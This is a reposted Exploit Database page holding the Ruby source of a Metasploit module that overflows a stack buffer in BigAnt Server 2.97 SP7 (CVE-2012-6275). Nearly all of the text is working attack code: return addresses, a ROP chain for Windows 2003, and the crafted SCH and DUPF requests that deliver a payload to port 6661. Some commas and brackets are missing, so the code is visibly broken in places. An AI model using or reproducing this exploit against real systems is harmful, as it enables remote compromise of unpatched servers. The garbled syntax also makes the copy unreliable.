BigAnt Server 2.97 – SCH / DUPF Buffer Overflow (Metasploit)

Exploit Database
104 阅读

作者： Metasploit

日期： 2013-02-20
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/24527/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'BigAnt Server 2 SCH And DUPF Buffer Overflow',

'Description'=> %q{

This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The

vulnerability is due to the dangerous usage of strcpy while handling errors. This

module uses a combination of SCH and DUPF request to trigger the vulnerability, and

has been tested successfully against version 2.97 SP7 over Windows XP SP3 and

Windows 2003 SP2.

'Author' =>

[

'Hamburgers Maccoy', # Vulnerability discovery

'juan vazquez' # Metasploit module

'License'=> MSF_LICENSE,

'References' =>

[

[ 'CVE', '2012-6275' ],

[ 'US-CERT-VU', '990652' ],

[ 'BID', '57214' ],

[ 'OSVDB', '89344' ]

'Payload'=>

{

'Space' => 2500,

'BadChars'=> "\x00\x0a\x0d\x25\x27",

'DisableNops' => true,

'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500

'Platform' => 'win',

'Targets'=>

[

[ 'BigAnt Server 2.97 SP7 / Windows XP SP3',

{

'Offset' => 629,

'Ret'=> 0x77c21ef4, # ppr from msvcrt

'JmpESP' => 0x77c35459, # push esp # ret from msvcrt

'FakeObject' => 0x77C60410 # .data from msvcrt

}

[ 'BigAnt Server 2.97 SP7 / Windows 2003 SP2',

{

'Offset'=> 629,

'Ret' => 0x77bb287a, # ppr from msvcrt

'FakeObject'=> 0x77bf2460, # .data from msvcrt

:callback_rop => :w2003_sp2_rop

}

]

'Privileged' => true,

'DefaultTarget' => 0,

'DisclosureDate' => 'Jan 09 2013'))

register_options([Opt::RPORT(6661)], self.class)

end

def junk(n=4)

return rand_text_alpha(n).unpack("V")[0].to_i

end

def nop

return make_nops(4).unpack("V")[0].to_i

end

def w2003_sp2_rop

rop_gadgets =

[

0x77bc5d88, # POP EAX # RETN

0x77ba1114, # <- *&VirtualProtect()

0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN

junk,

0x77bb0c86, # XCHG EAX,ESI # RETN

0x77bc9801, # POP EBP # RETN

0x77be2265, # ptr to 'push esp #ret'

0x77bc5d88, # POP EAX # RETN

0x03C0990F,

0x77bdd441, # SUB EAX, 03c0940f(dwSize, 0x500 -> ebx)

0x77bb48d3, # POP EBX, RET

0x77bf21e0, # .data

0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN

0x77bbfc02, # POP ECX # RETN

0x77bef001, # W pointer (lpOldProtect) (-> ecx)

0x77bd8c04, # POP EDI # RETN

0x77bd8c05, # ROP NOP (-> edi)

0x77bc5d88, # POP EAX # RETN

0x03c0984f,

0x77bdd441, # SUB EAX, 03c0940f

0x77bb8285, # XCHG EAX,EDX # RETN

0x77bc5d88, # POP EAX # RETN

nop,

0x77be6591, # PUSHAD # ADD AL,0EF # RETN

].pack("V*")

return rop_gadgets

end

def exploit

sploit = rand_text_alpha(target['Offset'])

sploit << [target.ret].pack("V")

sploit << [target['FakeObject']].pack("V")

if target[:callback_rop] and self.respond_to?(target[:callback_rop])

sploit << self.send(target[:callback_rop])

else

sploit << [target['JmpESP']].pack("V")

end

sploit << payload.encoded

random_filename = rand_text_alpha(4)

random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"

random_userid = rand_text_numeric(1)

random_username = rand_text_alpha_lower(5)

random_content = rand_text_alpha(10 + rand(10))

sch = "SCH 16\n"

sch << "cmdid: 1\n"

sch << "content-length: 0\n"

sch << "content-type: Appliction/Download\n"

sch << "filename: #{random_filename}.txt\n"

sch << "modified: #{random_date}\n"

sch << "pclassid: 102\n"

sch << "pobjid: 1\n"

sch << "rootid: 1\n"

sch << "sendcheck: 1\n"

sch << "source_cmdname: DUPF\n"

sch << "source_content-length: 116619\n"

sch << "userid: #{random_userid}\n"

sch << "username: #{sploit}\n\n"

print_status("Trying target #{target.name}...")

connect

print_status("Sending SCH request...")

sock.put(sch)

res = sock.get_once

if res.nil?

fail_with(Exploit::Failure::Unknown, "No response to the SCH request")

end

if res=~ /scmderid: \{(.*)\}/

scmderid = $1

else

fail_with(Exploit::Failure::UnexpectedReply, "scmderid value not found in the SCH response")

end

dupf = "DUPF 16\n"

dupf << "cmdid: 1\n"

dupf << "content-length: #{random_content.length}\n"

dupf << "content-type: Appliction/Download\n"

dupf << "filename: #{random_filename}.txt\n"

dupf << "modified: #{random_date}\n"

dupf << "pclassid: 102\n"

dupf << "pobjid: 1\n"

dupf << "rootid: 1\n"

dupf << "scmderid: {#{scmderid}}\n"

dupf << "sendcheck: 1\n"

dupf << "userid: #{random_userid}\n"

dupf << "username: #{random_username}\n\n"

dupf << random_content

print_status("Sending DUPF request...")

sock.put(dupf)

#sock.get_once

disconnect

end